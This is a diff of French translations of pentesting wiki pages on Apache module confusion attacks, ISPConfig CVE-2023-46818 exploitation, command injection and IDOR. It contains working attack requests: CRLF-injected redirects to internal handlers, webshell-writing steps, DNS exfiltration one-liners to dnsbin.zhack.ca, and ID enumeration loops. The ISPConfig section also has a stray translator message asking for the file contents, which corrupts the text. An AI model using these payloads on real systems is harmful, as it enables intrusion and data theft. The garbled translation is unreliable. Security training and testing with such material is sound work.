is a summary. L'attaque dite "confusion" exploite essentiellement le fait que les dizaines de modules qui s'articulent pour créer un Apache ne sont pas parfaitement synchronisés ; amener certains d'entre eux à modifier des données inattendues peut provoquer une vulnérabilité dans un module ultérieur. +Ces types d'attaques ont été introduits et documentés [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) et ce qui suit en est un résumé. L'attaque dite "confusion" exploite essentiellement le fait que les dizaines de modules qui fonctionnent ensemble pour créer un Apache ne sont pas parfaitement synchronisés : si certains d'entre eux modifient des données inattendues, cela peut provoquer une vulnérabilité dans un module ultérieur. ### Filename Confusion #### Truncation -Le **`mod_rewrite`** va tronquer le contenu de `r->filename` après le caractère `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Ce n'est pas totalement incorrect car la plupart des modules traiteront `r->filename` comme une URL. Mais dans d'autres occasions cela sera traité comme un chemin de fichier, ce qui poserait problème. +Le **`mod_rewrite`** tronque le contenu de `r->filename` après le caractère `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Ce n'est pas totalement incorrect car la plupart des modules traiteront `r->filename` comme une URL. Mais dans d'autres cas, cela sera traité comme un chemin de fichier, ce qui poserait un problème. - **Path Truncation** -Il est possible d'abuser de `mod_rewrite` comme dans l'exemple de règle suivant pour accéder à d'autres fichiers à l'intérieur du système de fichiers, en supprimant la dernière partie du chemin attendu en ajoutant simplement un `?` : +Il est possible d'abuser de `mod_rewrite` comme dans l'exemple de règle suivant pour accéder à d'autres fichiers du système de fichiers, en supprimant la dernière partie du chemin attendu en ajoutant simplement un `?` : ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -76,7 +76,7 @@ curl http://server/user/orange%2Fsecret.yml%3F ``` - **Mislead RewriteFlag Assignment** -Dans la règle de rewrite suivante, tant que l'URL se termine par .php, elle sera traitée et exécutée comme du php. Il est donc possible d'envoyer une URL qui se termine par .php après le caractère `?` tout en chargeant dans le path un autre type de fichier (comme une image) contenant du code php malveillant : +Dans la règle de réécriture suivante, tant que l'URL se termine par .php elle sera traitée et exécutée en tant que php. Par conséquent, il est possible d'envoyer une URL qui se termine par .php après le caractère `?` tout en chargeant dans le chemin un type de fichier différent (comme une image) contenant du code php malveillant : ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -Il est possible d'accéder à des fichiers auxquels l'utilisateur ne devrait pas avoir accès, même si l'accès devrait être refusé avec des configurations comme : +Il est possible d'accéder à des fichiers auxquels l'utilisateur ne devrait pas avoir accès, même si l'accès devrait être refusé par des configurations comme : ```xml AuthType Basic @@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Ceci s'explique par le fait que, par défaut, PHP-FPM recevra les URLs se terminant par `.php`, comme `http://server/admin.php%3Fooo.php`, et que PHP-FPM supprimera tout ce qui suit le caractère `?`. L'URL précédente permettra ainsi de charger `/admin.php` même si la règle précédente l'interdisait. +Cela s'explique parce que, par défaut, PHP-FPM recevra les URLs se terminant par `.php`, comme `http://server/admin.php%3Fooo.php` et parce que PHP-FPM supprime tout ce qui suit le caractère `?`, l'URL précédente permettra de charger `/admin.php` même si la règle précédente l'interdisait. ### Confusion autour de DocumentRoot ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Une anecdote amusante à propos d'Apache est que la réécriture précédente va essayer d'accéder au fichier à la fois depuis le documentRoot et depuis root. Ainsi, une requête vers `https://server/abouth.html` vérifiera la présence du fichier dans `/var/www/html/about.html` et `/about.html` sur le système de fichiers. Cela peut donc être abusé pour accéder à des fichiers du système de fichiers. +Un fait amusant à propos d'Apache est que la réécriture précédente essaiera d'accéder au fichier à la fois depuis le documentRoot et depuis root. Donc, une requête vers `https://server/abouth.html` vérifiera le fichier dans `/var/www/html/about.html` et `/about.html` dans le système de fichiers. Ce qui peut essentiellement être abusé pour accéder à des fichiers dans le système de fichiers. #### **Divulgation du code source côté serveur** - **Divulguer le code source CGI** -Ajouter simplement %3F à la fin suffit pour leak le code source d'un module cgi: +Il suffit d'ajouter %3F à la fin pour leak le code source d'un module cgi : ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -123,15 +123,15 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **Divulguer le code source PHP** +- **Disclose PHP Source Code** -Si un serveur possède différents domaines, dont l'un est un domaine statique, cela peut être abusé pour parcourir le système de fichiers et leak php code: +Si un serveur possède plusieurs domaines, dont l'un est un domaine statique, cela peut être exploité pour traverser le système de fichiers et leak php code: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" # the source code of config.php ``` -#### **Local Gadgets Manipulation** +#### **Manipulation des gadgets locaux** Le principal problème de l'attaque précédente est que, par défaut, la plupart des accès au système de fichiers seront refusés comme dans Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): ```xml @@ -147,38 +147,38 @@ AllowOverride None Require all granted ``` -Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.** +Par conséquent, il serait possible d'**abuser des fichiers situés dans `/usr/share` dans ces distributions.** -**Local Gadget to Information Disclosure** +**Gadget local pour divulgation d'informations** -- **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables. -- Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**: +- **Apache HTTP Server** avec **websocketd** peut exposer le script **dump-env.php** à **/usr/share/doc/websocketd/examples/php/**, ce qui peut leak des variables d'environnement sensibles. +- Des serveurs avec **Nginx** ou **Jetty** peuvent exposer des informations sensibles d'applications web (par ex., **web.xml**) via leurs répertoires web par défaut placés sous **/usr/share** : - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** -**Local Gadget to XSS** +**Gadget local vers XSS** -- On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**. +- Sur Ubuntu Desktop avec **LibreOffice installé**, exploiter la fonctionnalité de changement de langue des fichiers d'aide peut conduire à du **Cross-Site Scripting (XSS)**. Manipuler l'URL à **/usr/share/libreoffice/help/help.html** peut rediriger vers des pages malveillantes ou des versions plus anciennes via une **RewriteRule** non sécurisée. -**Local Gadget to LFI** +**Gadget local vers LFI** -- If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**: +- Si PHP ou certains packages front-end tels que **JpGraph** ou **jQuery-jFeed** sont installés, leurs fichiers peuvent être exploités pour lire des fichiers sensibles comme **/etc/passwd** : - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** -**Local Gadget to SSRF** +**Gadget local vers SSRF** -- Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits. +- L'utilisation de **magpie_debug.php** de **MagpieRSS** à **/usr/share/php/magpierss/scripts/magpie_debug.php** peut facilement créer une vulnérabilité SSRF, ouvrant la voie à d'autres exploits. -**Local Gadget to RCE** +**Gadget local vers RCE** -- Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation. +- Les opportunités d'**exécution de code à distance (RCE)** sont nombreuses, avec des installations vulnérables comme une version obsolète de **PHPUnit** ou **phpLiteAdmin**. Celles-ci peuvent être exploitées pour exécuter du code arbitraire, illustrant le potentiel étendu de la manipulation de gadgets locaux. -#### **Jailbreak from Local Gadgets** +#### **Jailbreak depuis des gadgets locaux** -It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like: +Il est aussi possible de faire un jailbreak à partir des dossiers autorisés en suivant des symlinks générés par des logiciels installés dans ces dossiers, tels que : - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -186,55 +186,55 @@ It's also possible to jailbreak from the allowed folders by following symlinks g - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.** +De plus, en abusant des symlinks, il a été possible d'obtenir une **RCE dans Redmine.** -### Handler Confusion +### Confusion des handlers -This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **activer le traitement PHP**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not. +Cette attaque exploite le chevauchement fonctionnel entre les directives `AddHandler` et `AddType`, qui peuvent toutes deux être utilisées pour **activer le traitement PHP**. À l'origine, ces directives affectaient différents champs (`r->handler` et `r->content_type` respectivement) dans la structure interne du serveur. Cependant, à cause d'un code hérité, Apache traite ces directives de manière interchangeable dans certaines conditions, en convertissant `r->content_type` en `r->handler` si le premier est défini et le second ne l'est pas. -Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect. +De plus, dans Apache HTTP Server (`server/config.c#L420`), si `r->handler` est vide avant l'exécution de `ap_run_handler()`, le serveur **utilise `r->content_type` comme handler**, rendant effectivement `AddType` et `AddHandler` identiques en effet. -#### **Overwrite Handler to Disclose PHP Source Code** +#### **Écraser le handler pour divulguer le code source PHP** -In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\ -Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it. +Dans [**cette présentation**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), une vulnérabilité a été exposée où un `Content-Length` incorrect envoyé par un client peut amener Apache à **retourner par erreur le code source PHP**. Cela était dû à un problème de gestion d'erreur avec ModSecurity et l'Apache Portable Runtime (APR), où une double réponse conduit à écraser `r->content_type` en `text/html`.\ +Parce que ModSecurity ne gère pas correctement les valeurs de retour, il retournerait le code PHP au lieu de l'interpréter. -#### **Overwrite Handler to XXXX** +#### **Écraser le handler vers XXXX** -TODO : Orange n'a pas encore divulgué cette vulnérabilité +TODO: Orange n'a pas encore divulgué cette vulnérabilité -### **Invoke Arbitrary Handlers** +### **Invoquer des handlers arbitraires** -If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed +Si un attaquant parvient à contrôler l'en-tête **`Content-Type`** dans une réponse serveur, il pourra **invoquer des handlers de modules arbitraires**. Cependant, au moment où l'attaquant contrôle cela, la majeure partie du traitement de la requête sera déjà effectuée. Il est toutefois possible de **relancer le processus de requête en abusant de l'en-tête `Location`** car si le `Status` retourné est 200 et que l'en-tête `Location` commence par `/`, la réponse est traitée comme une redirection côté serveur et doit être retraitée -According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior: +Selon [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (spécification sur CGI) dans [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) il est défini le comportement de Local Redirect Response : -> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. +> Le script CGI peut renvoyer un chemin URI et une chaîne de requête ('local-pathquery') pour une ressource locale dans un champ d'en-tête Location. Cela indique au serveur qu'il doit retraiter la requête en utilisant le chemin spécifié. -Therefore, to perform this attack is needed one of the following vulns: +Par conséquent, pour réaliser cette attaque, l'une des vulnérabilités suivantes est nécessaire : - CRLF Injection in the CGI response headers - SSRF with complete control of the response headers -#### **Arbitrary Handler to Information Disclosure** +#### **Handler arbitraire vers divulgation d'informations** -For example `/server-status` should only be accessible locally: +Par exemple `/server-status` ne devrait être accessible qu'en local : ```xml SetHandler server-status Require local ``` -Il est possible d'y accéder en définissant le `Content-Type` sur `server-status` et l'en-tête `Location` commençant par `/`. +Il est possible d'y accéder en définissant le `Content-Type` sur `server-status` et l'en-tête Location commençant par `/`. ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **Arbitrary Handler to Full SSRF** +#### **Du Handler arbitraire au SSRF complet** -Rediriger vers `mod_proxy` pour accéder à n'importe quel protocole sur n'importe quelle URL : +Redirection vers `mod_proxy` pour accéder à n'importe quel protocole sur n'importe quelle URL : ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -243,11 +243,11 @@ http://example.com/%3F %0d%0a %0d%0a ``` -Cependant, l'en-tête `X-Forwarded-For` est ajouté, empêchant l'accès aux endpoints de métadonnées cloud. +Cependant, l'en-tête `X-Forwarded-For` est ajouté, empêchant l'accès aux points de terminaison des métadonnées cloud. #### **Handler arbitraire pour accéder au Unix Domain Socket local** -Accéder au Unix Domain Socket local de PHP-FPM pour exécuter une backdoor PHP située dans `/tmp/:` +Accéder au Unix Domain Socket local de PHP-FPM pour exécuter une backdoor PHP située dans `/tmp/` : ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md index 31417e158..79ed54017 100644 --- a/src/network-services-pentesting/pentesting-web/ispconfig.md +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -2,38 +2,38 @@ {{#include ../../banners/hacktricks-training.md}} -## Vue d'ensemble +## Aperçu -ISPConfig est un panneau de contrôle d'hébergement open-source. Les anciennes versions 3.2.x incluaient une fonctionnalité d'édition des fichiers de langue qui, lorsqu'elle est activée pour le super administrateur, permettait l'injection de code PHP arbitraire via un enregistrement de traduction mal formé. Cela peut permettre une RCE dans le contexte du serveur web et, selon la manière dont PHP est exécuté, une privilege escalation. +ISPConfig est un panneau de contrôle d'hébergement open-source. Les anciennes versions 3.2.x incluaient une fonctionnalité d'édition des fichiers de langue qui, lorsqu'elle était activée pour le super administrateur, permettait l'injection de code PHP arbitraire via un enregistrement de traduction malformé. Cela peut conduire à une RCE dans le contexte du serveur web et, selon la façon dont PHP est exécuté, à une élévation de privilèges. -Principaux chemins par défaut : -- La racine web se situe souvent dans `/var/www/ispconfig` lorsqu'il est servi avec `php -S` ou via Apache/nginx. -- L'interface d'administration est accessible sur le vhost HTTP(S) (parfois liée uniquement à localhost ; utilisez un port-forward SSH si nécessaire). +Key default paths: +- Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx. +- Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed). -Astuce : si le panneau est lié localement (p. ex. `127.0.0.1:8080`), faites un tunnel : +Tip: If the panel is bound locally (e.g. `127.0.0.1:8080`), forward it: ```bash ssh -L 9001:127.0.0.1:8080 user@target # then browse http://127.0.0.1:9001 ``` -## Language editor PHP code injection (CVE-2023-46818) +## Injection de code PHP via l'éditeur de langue (CVE-2023-46818) -- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) -- Preconditions: -- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor) -- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` -- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context +- Affecté : ISPConfig jusqu'à 3.2.11 (corrigé dans 3.2.11p1) +- Préconditions : +- Se connecter avec le compte superadmin intégré `admin` (les autres rôles ne sont pas affectés selon le fournisseur) +- L'éditeur de langue doit être activé : `admin_allow_langedit=yes` dans `/usr/local/ispconfig/security/security_settings.ini` +- Impact : Un admin authentifié peut injecter du PHP arbitraire qui est écrit dans un fichier de langue et exécuté par l'application, aboutissant à une RCE dans le contexte web -Références : entrée NVD CVE-2023-46818 et lien du bulletin du fournisseur dans la section References ci-dessous. +Références : entrée NVD CVE-2023-46818 et lien du bulletin du fournisseur dans la section Références ci‑dessous. -### Manual exploitation flow +### Processus d'exploitation manuel -1) Ouvrir/créer un fichier de langue pour obtenir les tokens CSRF +1) Ouvrir/créer un fichier de langue pour obtenir les jetons CSRF -Envoyez un premier POST pour initialiser le formulaire et extraire les champs CSRF depuis la réponse HTML (`csrf_id`, `csrf_key`). Exemple de chemin de requête : `/admin/language_edit.php`. +Envoyer un premier POST pour initialiser le formulaire et parser les champs CSRF depuis la réponse HTML (`csrf_id`, `csrf_key`). Chemin de requête d'exemple: `/admin/language_edit.php`. -2) Injecter du PHP via records[] et sauvegarder +2) Injecter du PHP via records[] et enregistrer -Soumettez un second POST incluant les champs CSRF et un enregistrement de traduction malveillant. Probes minimales d'exécution de commande : +Soumettre un second POST incluant les champs CSRF et un enregistrement de traduction malveillant. Exemples minimaux d'exécution de commande : ```http POST /admin/language_edit.php HTTP/1.1 Host: 127.0.0.1:9001 @@ -42,25 +42,25 @@ Cookie: ispconfig_auth=... lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= ``` -Test hors-bande (observer ICMP): +Out-of-band test (observer ICMP): ```http records[]= ``` -3) Écrire des fichiers et déposer un webshell +3) Écrire des fichiers et drop a webshell -Utilisez `file_put_contents` pour créer un fichier sous un chemin accessible via le web (par exemple, `admin/`): +Utilisez `file_put_contents` pour créer un fichier dans un chemin accessible via le web (par ex., `admin/`) : ```http records[]= ``` -Ensuite, écrivez un webshell simple utilisant base64 pour éviter les caractères indésirables dans le corps POST : +Ensuite, écrivez un simple webshell en utilisant base64 pour éviter les caractères indésirables dans le POST body : ```http records[]= ``` -Je n’ai pas reçu le contenu du fichier src/network-services-pentesting/pentesting-web/ispconfig.md. Veuillez coller ici le contenu à traduire (ou téléverser le fichier). Je traduirai tout en français en conservant exactement la même syntaxe Markdown/HTML et en respectant vos consignes. +Je n’ai pas accès aux fichiers du dépôt. Veuillez coller ici le contenu du fichier src/network-services-pentesting/pentesting-web/ispconfig.md que vous voulez faire traduire en français — je le traduirai en respectant les règles que vous avez indiquées. ```bash curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' ``` -Si PHP est exécuté en root (par exemple via `php -S 127.0.0.1:8080` lancé par root), cela entraîne une root RCE immédiate. Sinon, vous obtenez une exécution de code en tant qu'utilisateur du serveur web. +Si PHP est exécuté en tant que root (par ex., via `php -S 127.0.0.1:8080` lancé par root), cela entraîne une RCE root immédiate. Sinon, vous obtenez une exécution de code en tant qu'utilisateur du serveur web. ### Python PoC @@ -71,15 +71,15 @@ Exemple d'exécution: ```bash python3 cve-2023-46818.py http://127.0.0.1:9001 admin ``` -### Hardening +### Durcissement -- Mettre à niveau vers la version 3.2.11p1 ou une version ultérieure -- Désactiver l'éditeur de langues sauf si strictement nécessaire: +- Mettre à jour vers 3.2.11p1 ou une version ultérieure +- Désactiver l'éditeur de langue sauf si strictement nécessaire : ``` admin_allow_langedit=no ``` -- Évitez d'exécuter le panneau en tant que root ; configurez PHP-FPM ou le web server pour réduire les privilèges -- Imposer une authentification forte pour le compte intégré `admin` +- Évitez d'exécuter le panel en tant que root ; configurez PHP-FPM ou le web server pour réduire les privilèges +- Exigez une authentification forte pour le compte intégré `admin` ## Références diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 0b2ac8355..604bacc50 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -4,11 +4,11 @@ ## Qu'est-ce que command Injection ? -Une **command injection** permet l'exécution de commandes arbitraires du système d'exploitation par un attaquant sur le serveur hébergeant une application. En conséquence, l'application et toutes ses données peuvent être complètement compromises. L'exécution de ces commandes permet généralement à l'attaquant d'obtenir un accès ou un contrôle non autorisé sur l'environnement de l'application et le système sous-jacent. +Une **command injection** permet l'exécution de commandes arbitraires du système d'exploitation par un attaquant sur le serveur hébergeant une application. En conséquence, l'application et toutes ses données peuvent être entièrement compromises. L'exécution de ces commandes permet généralement à l'attaquant d'obtenir un accès non autorisé ou de prendre le contrôle de l'environnement de l'application et du système sous-jacent. ### Contexte -Selon **l'endroit où votre entrée est injectée**, vous devrez peut‑être **terminer le contexte entre guillemets** (en utilisant `"` ou `'`) avant les commandes. +Selon l'endroit **où votre entrée est injectée**, vous devrez peut-être **terminer le contexte entre guillemets** (en utilisant `"` ou `'`) avant les commandes. ## Command Injection/Execution ```bash @@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **Limitation** Bypasses -Si vous essayez d'exécuter **des commandes arbitraires dans une machine linux**, vous serez intéressé par ces **Bypasses :** +Si vous essayez d'exécuter des **commandes arbitraires dans une machine linux**, vous serez intéressé à lire ces **Bypasses:** {{#ref}} @@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Paramètres -Voici les 25 paramètres principaux qui pourraient être vulnérables aux code injection et autres vulnérabilités RCE (d'après [link](https://twitter.com/trbughunters/status/1283133356922884096)) : +Voici les 25 principaux paramètres qui pourraient être vulnérables aux attaques de code injection et aux vulnérabilités RCE similaires (source: [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +77,7 @@ Voici les 25 paramètres principaux qui pourraient être vulnérables aux code i ``` ### Time based data exfiltration -Extraction de données : caractère par caractère +Extraction de data : char par char ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -91,7 +91,7 @@ sys 0m0.000s ``` ### Exfiltration de données via DNS -Basé sur l'outil provenant de `https://github.com/HoLyVieR/dnsbin` également hébergé sur dnsbin.zhack.ca +Basé sur l'outil de `https://github.com/HoLyVieR/dnsbin`, également hébergé sur dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Outils en ligne pour vérifier l'exfiltration de données via DNS: +Outils en ligne pour vérifier la data exfiltration via DNS : - dnsbin.zhack.ca - pingb.in @@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Lorsque vous auditez des back-ends JavaScript/TypeScript, vous rencontrerez souvent l'API Node.js `child_process`. +Lors de l'audit de back-ends JavaScript/TypeScript, vous rencontrerez souvent l'API Node.js `child_process`. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,7 +130,7 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` lance un **shell** (`/bin/sh -c`), donc tout caractère qui a une signification spéciale pour le shell (back-ticks, `;`, `&&`, `|`, `$()`, …) entraînera une **command injection** lorsque l'entrée utilisateur est concaténée dans la chaîne. +`exec()` lance un **shell** (`/bin/sh -c`), donc tout caractère ayant une signification spéciale pour le shell (back-ticks, `;`, `&&`, `|`, `$()`, …) entraînera une **command injection** lorsque l'entrée utilisateur est concaténée dans la chaîne. **Atténuation :** utilisez `execFile()` (ou `spawn()` sans l'option `shell`) et fournissez **chaque argument comme un élément séparé du tableau** afin qu'aucun shell ne soit impliqué : ```javascript @@ -140,9 +140,9 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Cas réel : *Synology Photos* ≤ 1.7.0-0794 était exploitable via un événement WebSocket non authentifié qui plaçait des données contrôlées par l'attaquant dans `id_user`, lesquelles étaient ensuite incorporées dans un appel `exec()`, permettant une RCE (Pwn2Own Ireland 2024). +Cas réel : *Synology Photos* ≤ 1.7.0-0794 était exploitable via un événement WebSocket non authentifié qui plaçait des données contrôlées par l'attaquant dans `id_user`, lesquelles étaient ensuite intégrées dans un appel `exec()`, permettant une RCE (Pwn2Own Ireland 2024). -## Liste de détection Brute-Force +## Liste de détection de force brute {{#ref}} diff --git a/src/pentesting-web/idor.md b/src/pentesting-web/idor.md index e3657993c..fea29b97c 100644 --- a/src/pentesting-web/idor.md +++ b/src/pentesting-web/idor.md @@ -2,23 +2,23 @@ {{#include ../banners/hacktricks-training.md}} -IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) apparaît lorsqu'un endpoint web ou API divulgue ou accepte un identifiant contrôlable par l'utilisateur qui est utilisé **directement** pour accéder à un objet interne **sans vérifier que l'appelant est autorisé** à accéder/modifier cet objet. -Une exploitation réussie permet généralement une escalade de privilèges horizontale ou verticale, comme la lecture ou la modification des données d'autres utilisateurs et, dans le pire des cas, la prise de contrôle complète d'un compte ou l'exfiltration massive de données. +IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) apparaît lorsqu’un endpoint web ou API divulgue ou accepte un identifiant contrôlable par l’utilisateur qui est utilisé **directement** pour accéder à un objet interne **sans vérifier que l’appelant est autorisé** à accéder/modifier cet objet. +L’exploitation réussie permet généralement une horizontal or vertical privilege-escalation, comme la lecture ou la modification des données d’autres utilisateurs et, dans le pire des cas, un full account takeover ou une mass-data exfiltration. --- ## 1. Identifier les IDOR potentiels -1. Recherchez des **paramètres qui référencent un objet** : +1. Cherchez des **paramètres qui référencent un objet** : * Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` * Query: `?id=42`, `?invoice=2024-00001` * Body / JSON: `{"user_id": 321, "order_id": 987}` * Headers / Cookies: `X-Client-ID: 4711` 2. Privilégiez les endpoints qui **lisent ou mettent à jour** des données (`GET`, `PUT`, `PATCH`, `DELETE`). -3. Notez lorsque les identifiants sont **séquentiels ou prédictibles** – si votre ID est `64185742`, alors `64185741` existe probablement. -4. Explorez les flux cachés ou alternatifs (par ex. le lien *"Paradox team members"* sur les pages de login) qui peuvent exposer des API supplémentaires. -5. Utilisez une **session authentifiée à faible privilège** et ne changez que l'ID **en conservant le même token/cookie**. L'absence d'une erreur d'autorisation est généralement un signe d'IDOR. +3. Notez quand les identifiants sont **séquentiels ou prédictibles** – si votre ID est `64185742`, alors `64185741` existe probablement. +4. Explorez les flux cachés ou alternatifs (par ex. le lien *"Paradox team members"* sur les pages de login) qui peuvent exposer des APIs supplémentaires. +5. Utilisez une session authentifiée avec peu de privilèges et ne changez que l’ID **en gardant le même token/cookie**. L’absence d’une erreur d’autorisation est généralement un signe d’IDOR. -### Manipulation manuelle rapide (Burp Repeater) +### Quick manual tampering (Burp Repeater) ``` PUT /api/lead/cem-xhr HTTP/1.1 Host: www.example.com @@ -27,7 +27,7 @@ Content-Type: application/json {"lead_id":64185741} ``` -### Enumération automatisée (Burp Intruder / curl loop) +### Énumération automatisée (Burp Intruder / curl loop) ```bash for id in $(seq 64185742 64185700); do curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ @@ -38,33 +38,33 @@ done ``` --- -### Oracle de réponse d'erreur pour l'énumération utilisateur/fichier +### Oracle de réponses d'erreur pour l'énumération utilisateur/fichier -Quand un download endpoint accepte à la fois un username et un filename (par ex. `/view.php?username=&file=`), des différences subtiles dans les messages d'erreur créent souvent un oracle : +Lorsqu'un endpoint de téléchargement accepte à la fois un username et un filename (par ex. `/view.php?username=&file=`), de subtiles différences dans les messages d'erreur créent souvent un oracle : -- Nom d'utilisateur inexistant → "User not found" -- Mauvais filename mais extension valide → "File does not exist" (parfois liste aussi les fichiers disponibles) -- Mauvaise extension → validation error +- username inexistant → "User not found" +- filename invalide mais extension valide → "File does not exist" (parfois liste aussi les fichiers disponibles) +- extension invalide → erreur de validation -Avec n'importe quelle session authentifiée, vous pouvez fuzz le paramètre username tout en conservant un filename bénin et filtrer sur la chaîne "user not found" pour découvrir des utilisateurs valides : +Avec n'importe quelle session authentifiée, vous pouvez fuzz le paramètre username tout en conservant un filename bénin et filtrer sur la chaîne "User not found" pour découvrir des utilisateurs valides : ```bash ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \ -b 'PHPSESSID=' \ -w /opt/SecLists/Usernames/Names/names.txt \ -fr 'User not found' ``` -Une fois que des noms d'utilisateur valides sont identifiés, demandez directement des fichiers spécifiques (p. ex., `/view.php?username=amanda&file=privacy.odt`). Ce schéma conduit souvent à la divulgation 